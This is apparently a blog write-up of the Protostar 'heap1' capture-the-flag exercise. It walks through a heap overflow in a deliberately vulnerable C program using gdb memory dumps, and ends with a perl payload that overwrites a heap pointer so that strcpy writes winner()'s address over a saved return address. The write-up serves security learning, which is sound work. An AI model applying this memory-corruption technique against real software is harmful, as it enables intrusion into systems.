Protostar exploits Heap1

Introduction

Protostar exploits are a cool bunch of ctf type exercises that focus on Linux  binary exploits that progressively get harder. A ISO containing the OS and challenges can be downloaded.

The website with all information and downloads is at https://exploit-exercises.com/protostar/

Challenge

Test run

user@protostar:~$ /opt/protostar/bin/heap1 test1 test2
and that's a wrap folks!

Exploit

Need to redirect program execution flow.

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>

 

struct internet {
 int priority;
 char *name;
};

void winner()
{
 printf("and we have a winner @ %d\n", time(NULL));
}

int main(int argc, char **argv)
{
 struct internet *i1, *i2, *i3;

 i1 = malloc(sizeof(struct internet));
 i1->priority = 1;
 i1->name = malloc(8);

 i2 = malloc(sizeof(struct internet));
 i2->priority = 2;
 i2->name = malloc(8);

 strcpy(i1->name, argv[1]);
 strcpy(i2->name, argv[2]);

 printf("and that's a wrap folks!\n");
}

Looks like we need to redirect program execution flow to winner() function.

Let’s find the memory location for the winner() function.

Again we will use objdump -t option to disassemble the program and look for reference to the ‘winner()’ function and it’s memory location.

user@protostar:~$ objdump -d /opt/protostar/bin/heap1 |grep -A 4 winner
08048494 <winner>:

There we have it, winner() should be located at memory address 0x08048494.

Now in order for us to exert some level of control over this program we need some method of manipulation and at first view it appears that strcpy() calls might just be that because we can insert some user controlled data. Working backwards, we can see that our user data is entered into i1->name and i2->name which are both on the heap so they should be within close proximity to one another making it easier to corrupt.

Let’s run the code through gdb and see what is happening and how we might accomplish our task.

Before we do that you may wonder where the objects on the heap are located.

Let’s remind ourselves of what happens when malloc() is successfully run

user@protostar:~$ man malloc
MALLOC(3)                                     Linux Programmer's Manual                                    MALLOC(3)

NAME
       calloc, malloc, free, realloc - Allocate and free dynamic memory
SYNOPSIS
       #include <stdlib.h>
       void *calloc(size_t nmemb, size_t size);
       void *malloc(size_t size);
       void free(void *ptr);
       void *realloc(void *ptr, size_t size);

DESCRIPTION

       calloc()  allocates  memory  for  an  array of nmemb elements of size bytes each and returns a pointer to the allocated memory.  The memory is set to zero.  
...

RETURN VALUE

       For  calloc()  and malloc(), return a pointer to the allocated memory, 
...

So a pointer is returned to the allocated memory on the heap.

Let’s observe the heap after all the malloc() calls are completed.

We will call heap1 with two parameters “AAAAAAAA” and “BBBBBBBB”

(gdb) b *0x080484c9
Breakpoint 7 at 0x80484c9: file heap1/heap1.c, line 23.
(gdb) b *0x080484e3
Breakpoint 8 at 0x80484e3: file heap1/heap1.c, line 25.
(gdb) b *0x080484f8
Breakpoint 9 at 0x80484f8: file heap1/heap1.c, line 27.
(gdb) b *0x08048512
Breakpoint 10 at 0x8048512: file heap1/heap1.c, line 29.
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /opt/protostar/bin/heap1 AAAAAAAA BBBBBBBB
...

We can find the location of the heap by evaluating EAX after any of the malloc() calls.

gdb$ x /64xb 0x /64xb $eax-38
0x8049ff0: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x8049ff8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x804a000: 0x00 0x00 0x00 0x00 0x11 0x00 0x00 0x00
0x804a008: 0x01 0x00 0x00 0x00 0x18 0xa0 0x04 0x08
0x804a010: 0x00 0x00 0x00 0x00 0x11 0x00 0x00 0x00
0x804a018: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x804a020: 0x00 0x00 0x00 0x00 0x11 0x00 0x00 0x00
0x804a028: 0x02 0x00 0x00 0x00 0x38 0xa0 0x04 0x08

Take note that I have highlighted two places on the heap that appear to be pointers to other regions within the heap. These pointers I believe are i1->name and i2-name.

Let’s now see what happens after our user controlled data is copied into the objects on the heap via strcpy().

gdb$ x /64xb 0x804a000
0x804a000: 0x00 0x00 0x00 0x00 0x11 0x00 0x00 0x00
0x804a008: 0x01 0x00 0x00 0x00 0x18 0xa0 0x04 0x08
0x804a010: 0x00 0x00 0x00 0x00 0x11 0x00 0x00 0x00
0x804a018: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x804a020: 0x00 0x00 0x00 0x00 0x11 0x00 0x00 0x00
0x804a028: 0x02 0x00 0x00 0x00 0x38 0xa0 0x04 0x08
0x804a030: 0x00 0x00 0x00 0x00 0x11 0x00 0x00 0x00
0x804a038: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42

Everything is as expected. Argv values have been copied to the location on the heap where i1->name and i2->name point to.

Let’s step back and see what exactly happens before strcpy() is called and how argv and i1->name, i2->name are prepared.

0x08048519 <main+96>: mov eax,DWORD PTR [esp+0x18]
0x0804851d <main+100>: mov DWORD PTR [eax+0x4],edx
0x08048520 <main+103>: mov eax,DWORD PTR [ebp+0xc]
0x08048523 <main+106>: add eax,0x4
0x08048526 <main+109>: mov eax,DWORD PTR [eax]
0x08048528 <main+111>: mov edx,eax

These calls are just preparing to store the location of argv buffer into EDX.

The next calls then retrieve the memory location for the contents of i1->name via it’s pointer reference from the heap.

0x0804852a <main+113>: mov eax,DWORD PTR [esp+0x14]
0x0804852e <main+117>: mov eax,DWORD PTR [eax+0x4]

There is a lot going on in these two lines.

gdb$ x /w $esp+0x14
0xbffff794: 0x0804a008
gdb$ print 0x0804a008+4
$8 = 0x804a00c
gdb$ x /w 0x804a00c
0x804a00c: 0x0804a018

So that’s how EAX has the memory location of i1->name’s storage place.

This explanation is taking more time than I anticipated. Going to have to get straight to the point here. I’m going to rerun the program and overflow the heap boundary from i1->name storage (not it’s pointer ref) right up to i2->name’s pointer ref and write my own pointer to a memory location of my choice. That memory location will be a location on the stack where the return value EIP for the second strcpy() is, so when the second strcpy() call is finish it will return to my location of choice (winner).

Payload

Write 20 A’s to overflow heap boundary up to i2->name pointer

0xbffff76c. Overwrite original i2->name pointer with memory location of 2nd strcpy() return EIP on stack.

0x08048494. memory location for winner() function which will be written to 0xbffff76c.

gdb$ r `perl -e 'print "A"x20 . "\x6c\xf7\xff\xbf " . "\x94\x84\x04\x08"'`

Take a look at heap after first strcpy() call.

gdb$ x /64xb 0x804a000
0x804a000: 0x00 0x00 0x00 0x00 0x11 0x00 0x00 0x00
0x804a008: 0x01 0x00 0x00 0x00 0x18 0xa0 0x04 0x08
0x804a010: 0x00 0x00 0x00 0x00 0x11 0x00 0x00 0x00
0x804a018: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x804a020: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x804a028: 0x41 0x41 0x41 0x41 0x6c 0xf7 0xff 0xbf
0x804a030: 0x00 0x00 0x00 0x00 0x11 0x00 0x00 0x00
0x804a038: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00

Compare the results to the heap status above. Looks good?

Now run the 2nd strcpy() call to overwrite the stack location 0xbffff76c with the location of winner().

This is the stack when we enter strcpy()

gdb$ si
0x0804838c in strcpy@plt ()
gdb$ x /w $esp
0xbffff76c: 0x0804855a

Stack pointer contains EIP after strcpy() returns.

Let strcpy() run up to the point right before it returns.

gdb$ b *0xb7f09e02
Breakpoint 9 at 0xb7f09e02: file strcpy.c, line 49.
gdb$ c
Breakpoint 9, 0xb7f09e02 in *__GI_strcpy (dest=0xbffff76c "\224\20404\b", src=0xbffff844 "k\371\377\277\204\371\377\277\235\371\377\277") at strcpy.c:49
49 in strcpy.c

Now check stack.

gdb$ x /w $esp
0xbffff76c: 0x08048494

And there you have it, the stack has the address of winner().

Let the program finish and we should see the flag message.

gdb$ c
and we have a winner @ 1435998773

Program received signal SIGSEGV, Segmentation fault.

Thank you

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s